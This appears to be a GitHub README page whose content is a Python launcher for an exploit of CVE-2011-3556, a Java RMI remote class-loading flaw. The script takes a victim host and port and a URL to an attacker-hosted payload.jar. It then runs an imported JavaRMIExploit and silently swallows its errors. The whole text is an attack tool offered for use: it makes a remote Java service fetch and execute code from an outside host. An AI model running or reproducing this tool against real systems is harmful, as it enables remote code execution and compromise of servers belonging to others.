README.md
Rendering markdown...
#!/usr/bin/env python3
# coding: utf-8
import argparse
import logging
import logging.config
import lib.cve_2011_3556 as cve
class SwallowException:
"""
Swallows the given `exception` and executes the `callback` callable object (function, method, etc.) if specified.
"""
def __init__(self, exception, callback=None):
self.exception = exception
self.callback = callback
def __enter__(self):
pass
def __exit__(self, exception, *args):
if exception and issubclass(exception, self.exception):
if self.callback:
self.callback()
return True
return False
def parse_args():
"""
Parses command-line arguments using the standard `argparse` module.
"""
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument("-h", "--host",
default="127.0.0.1",
metavar="IPADDR",
help="remote host IP address for the Java RMI server")
parser.add_argument("-p", "--port",
default=1099,
type=int,
choices=range(1, 65536),
metavar="PORT",
help="remote port for the Java RMI server")
parser.add_argument("-t", "--target",
required=True,
metavar="scheme://host:port/payload.jar",
help="binary file containing the remote class to load")
parser.add_argument("--buffer-size",
default=1024,
type=int,
choices=range(256, 65536),
metavar="BYTES",
help="override the default socket buffer size")
parser.add_argument("--help",
action="help",
help="display the help menu")
parser.add_argument("--timeout",
default=5,
type=int,
choices=range(-1, 1001),
metavar="SECONDS",
help="override the default socket timeout duration")
parser.add_argument("--version",
action="version",
version=".".join(map(str, cve.__version__)),
help="display the current version")
return parser.parse_args()
if __name__ == "__main__":
# Parse the command-line argument(s).
args = parse_args()
# Set the logging configuration to display messages from the `cve_2011_3556` logger on the screen.
logging.config.dictConfig({
"version": 1,
"disable_existing_loggers": True,
"formatters": {
"standard": {
"format": "%(asctime)s %(levelname)-8s %(message)s",
"datefmt": "%Y-%m-%d %H:%M:%S"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"formatter": "standard",
"level": "DEBUG"
}
},
"loggers": {
"java_rmi_exploit": {
"level": "DEBUG",
"handlers": [
"console"
]
}
}
})
# Launch the exploit without caring about exploit-related exception(s) (which are logged anyway).
with SwallowException(cve.ExploitError):
cve.JavaRMIExploit(
args.host,
args.target,
port=args.port,
timeout=args.timeout,
buffer_size=args.buffer_size).exploit()